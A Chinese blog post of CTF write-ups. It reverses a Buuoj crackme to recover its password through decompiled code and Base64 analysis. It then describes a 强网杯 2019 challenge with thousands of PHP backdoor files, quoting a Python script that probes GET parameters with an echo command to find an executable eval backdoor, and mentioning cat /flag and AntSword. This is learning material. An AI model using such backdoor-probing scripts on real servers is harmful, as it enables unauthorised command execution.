Buuoj 刮开有奖
这题有点毒...
首先一番查找找到关键代码

发现已经定义了一个字符串,然后将其放入sub_CD10F0 中,还带了0和10两个参数。进入该函数:
int __cdecl sub_CD10F0(int a1, int a2, int a3)
{
int result; // eax
int i; // esi
int v5; // ecx
int v6; // edx
result = a3;
for ( i = a2; i <= a3; a2 = i )
{
v5 = 4 * i;
v6 = *(_DWORD *)(4 * i + a1);
if ( a2 < result && i < result )
{
do
{
if ( v6 > *(_DWORD *)(a1 + 4 * result) )
{
if ( i >= result )
break;
++i;
*(_DWORD *)(v5 + a1) = *(_DWORD *)(a1 + 4 * result);
if ( i >= result )
break;
while ( *(_DWORD *)(a1 + 4 * i) <= v6 )
{
if ( ++i >= result )
goto LABEL_13;
}
if ( i >= result )
break;
v5 = 4 * i;
*(_DWORD *)(a1 + 4 * result) = *(_DWORD *)(4 * i + a1);
}
--result;
}
while ( i < result );
}
LABEL_13:
*(_DWORD *)(a1 + 4 * result) = v6;
sub_CD10F0(a1, a2, i - 1);
result = a3;
++i;
}
return result;
}
好乱,似乎还有递归函数,分析不能,直接在Cpp里面重写尝试实现:
#include<bits/stdc++.h>
using namespace std;
int ax[]={90, 74, 83, 69, 67, 97, 78, 72, 51, 110, 103};
int a(int *a1,int a2,int a3){
int i;
int result = a3;
int v5,v6;
for(i=a2;i<=a3;a2=i)
{
v5 = i;
v6 = a1[i];
if( a2 < result && i < result )
{
do{
if(v6>(a1[result]))
{
if(i>=result)
break;
++i;
a1[v5] = a1[result];
if(i>=result)
break;
while(a1[i]<=v6)
{
if(++i>=result)
goto LABEL_13;
}
if(i>=result)
break;
v5 = i;
a1[result] = a1[i];
}
--result;
}while(i<result);
}
LABEL_13:
a1[result] = v6;
a(a1,a2,i-1);
result = a3;
++i;
}
}
int main(){
int a2=0,a3=10;
int x=a(ax,0,10);
for(int i=0;i<=12;i++)
printf("%c",ax[i]);
}
之前有看别人的博客有问为啥要吧几个4*i,4*result改成i和result,我一开始是没有改掉的,后面发现根本算不出来。后面经过观察发现这些乘了4的都是用在数组的指针上的变量。后面有些好奇在52破解论坛上凑不要脸的问了下,后面得知这是由于一个int变量占用的内存是4bytes,所以指针加上的值要乘以4。
运算出来的结果是3CEHJNSZagn ,继续分析:
后面将读入的字符数组放入sub_CD1000,这个函数进去感觉有些离谱,但是似乎可能是一个Base64解码,因为

跟踪一下代码,发现后面的

果然可以解开成jMp WP1
之后的一些逻辑判断我就直接在代码批注里写了:
BOOL __stdcall DialogFunc(HWND hDlg, UINT a2, WPARAM a3, LPARAM a4)
{
const char *v4; // esi
const char *v5; // edi
int v7; // [esp+8h] [ebp-20030h]
int v8; // [esp+Ch] [ebp-2002Ch]
int v9; // [esp+10h] [ebp-20028h]
int v10; // [esp+14h] [ebp-20024h]
int v11; // [esp+18h] [ebp-20020h]
int v12; // [esp+1Ch] [ebp-2001Ch]
int v13; // [esp+20h] [ebp-20018h]
int v14; // [esp+24h] [ebp-20014h]
int v15; // [esp+28h] [ebp-20010h]
int v16; // [esp+2Ch] [ebp-2000Ch]
int v17; // [esp+30h] [ebp-20008h]
CHAR String; // [esp+34h] [ebp-20004h]
char v19; // [esp+35h] [ebp-20003h]
char v20; // [esp+36h] [ebp-20002h]
char v21; // [esp+37h] [ebp-20001h]
char v22; // [esp+38h] [ebp-20000h]
char v23; // [esp+39h] [ebp-1FFFFh]
char v24; // [esp+3Ah] [ebp-1FFFEh]
char v25; // [esp+3Bh] [ebp-1FFFDh]
char v26; // [esp+10034h] [ebp-10004h]
char v27; // [esp+10035h] [ebp-10003h]
char v28; // [esp+10036h] [ebp-10002h]
if ( a2 == 272 )
return 1;
if ( a2 != 273 )
return 0;
if ( (_WORD)a3 == 1001 )
{
memset(&String, 0, 0xFFFFu);
GetDlgItemTextA(hDlg, 1000, &String, 0xFFFF);
if ( strlen(&String) == 8 )
{
v7 = 'Z';
v8 = 'J';
v9 = 'S';
v10 = 'E';
v11 = 'C';
v12 = 'a';
v13 = 'N';
v14 = 'H';
v15 = '3';
v16 = 'n';
v17 = 'g';
sub_CD10F0((int)&v7, 0, 10); // v7->17 => 3CEHJNSZagn
memset(&v26, 0, 0xFFFFu);
v26 = v23; // String->v25 =>User input
// v26 -> v28 => char array
v28 = v25;
v27 = v24; // v26 -> v28 => 6,7,8th char of the input,which is jMp acccrding to the Base64 decode below.
v4 = sub_CD1000((int)&v26, strlen(&v26));
memset(&v26, 0, 0xFFFFu);
v27 = v21;
v26 = v20;
v28 = v22; // v26 -> v28 => 3rd,4,5th char of the input,which is WP1 according to the Base64 decode below.
v5 = sub_CD1000((int)&v26, strlen(&v26));
if ( String == v7 + 34 // String = U
&& v19 == v11 // 2nd char = J
&& 4 * v20 - 141 == 3 * v9 // 3rd char = W
&& v21 / 4 == 2 * (v14 / 9) // 4th char = P
&& !strcmp(v4, "ak1w") // jMp WP1
&& !strcmp(
v5,
"V1Ax") )
{
MessageBoxA(hDlg, "U g3t 1T!", "@_@", 0);
}
}
return 0;
}
if ( (_WORD)a3 != 1 && (_WORD)a3 != 2 )
return 0;
EndDialog(hDlg, (unsigned __int16)a3);
return 1;
}
最后附上Base64编码的原理 https://www.jianshu.com/p/bd4ac318d359
刚刚能够判断那个高度可疑是Base64就是因为那个字符串就是Base64的索引(a-z A-Z 0-9 +=/)
[强网杯 2019]高明的黑客
由于种种原因,这题没有去复现,但是还是就记录下来吧:)
这题下有3000多个随机的php文件,很多都有类似$_GET['weR23kG']之后又有eval的语句,但是绝大多是都是不可用的。这里就是猜测有一两个可以使用的后门漏洞。
这题实际上考的最核心的就是正则表达式还有py脚本的编写和解析数据的能力。
主要的实现原理就是用正则搜索$_GET['<var>']和$_POST['<var>']这样的关键语句,之后传入<var>=echo 'Backdoor Found'这样的来查找可以执行的漏洞。
这里po一下别的师傅的代码吧:
https://www.cnblogs.com/h3zh1/p/12661892.html
import requests
import os
import re
import threading
import time
requests.adapters.DEFAULT_RETRIES = 8 #设置重连次数,防止线程数过高,断开连接
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为False
sem=threading.Semaphore(30) # 设置最大线程数 ,别设置太大,不然还是会崩的挺厉害的,跑到关键的爆炸,心态就爆炸了
url = "http://7cfcd16d-dd76-4421-8906-b9c234c18daf.node3.buuoj.cn/"
# 下载的源文件路径,根据自己的路径修改
path = r"C:\Users\lenovo\Desktop\www\\"
rrGET = re.compile(r"\$_GET\[\'(\w+)\'\]") #匹配get参数
rrPOST = re.compile(r"\$_POST\[\'(\w+)\'\]") #匹配post参数
fileNames = os.listdir(path) # 列出目录中的文件,以每个文件都开一个线程
local_file = open("flag.txt","w",encoding="utf-8")
def run(fileName):
with sem:
file = open( path + fileName, 'r',encoding='utf-8' )
content = file.read()
print("[+]checking:%s" % fileName )
#测试get的参数
for i in rrGET.findall(content):
r = session.get( url + "%s?%s=%s" % (fileName,i,"echo ~h3zh1~;") )
if "~h3zh1~" in r.text:
flag = "You Find it in GET fileName = %s and param = %s \n" % ( fileName, i )
print(flag)
local_file.write(flag)
#测试post的参数
#for i in rrPOST.findall(content):
# r = session.post( url + fileName , data = { i : "echo ~h3zh1~;" } )
# if "~h3zh1~" in r.text:
# flag = "You Find it in POST: fileName = %s and param = %s \n" % ( fileName, i )
# print(flag)
# local_file.writelines(flag)
if __name__ == '__main__':
start_time = time.time() # 开始时间
print("[start]程序开始:"+str(start_time))
thread_list = []
for fileName in fileNames:
t = threading.Thread( target=run , args=(fileName,) )
thread_list.append(t)
for t in thread_list:
t.start()
for t in thread_list:
t.join()
end_time = time.time()
local_file.close()
print("[end]程序结束:用时(秒):"+str(end_time-start_time))
之后就直接AntSword连接或者直接cat /flag就行了~~
最近发现正则表达式太重要了,五一假期得好好学学QAQ

